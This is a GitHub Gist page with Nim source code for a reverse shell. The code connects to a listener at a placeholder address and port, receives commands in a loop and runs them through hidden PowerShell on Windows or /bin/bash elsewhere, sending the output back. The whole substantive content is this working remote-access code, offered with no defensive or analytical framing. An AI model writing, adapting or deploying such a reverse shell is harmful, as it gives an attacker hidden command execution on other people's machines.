Last active
July 6, 2023 00:30
-
-
Save mttaggart/d119b13b248cdc7c9df264e432e60892 to your computer and use it in GitHub Desktop.
A simple reverse shell written in Nim
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import net | |
import osproc | |
import strformat | |
# Create Socket | |
let port = 9999 | |
let address = "127.0.0.1" | |
let sock = newSocket() | |
# Connect to listener | |
sock.connect(address, Port(port)) | |
when defined windows: | |
#Create Prompt | |
let prompt = "PS> " | |
while true: | |
# Send prompt | |
send(sock, prompt) | |
# Receive Data | |
# Run command | |
let cmd = recvLine(sock) | |
let output = | |
execProcess(fmt"powershell.exe -nop -w hidden -c {cmd}") | |
send(sock, output) | |
else: | |
#Create Prompt | |
let prompt = "$ " | |
while true: | |
# Send prompt | |
send(sock, prompt) | |
# Receive Data | |
# Run command | |
let cmd = recvLine(sock) | |
let output = | |
execProcess(fmt"/bin/bash -c '{cmd}'") | |
send(sock, output) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment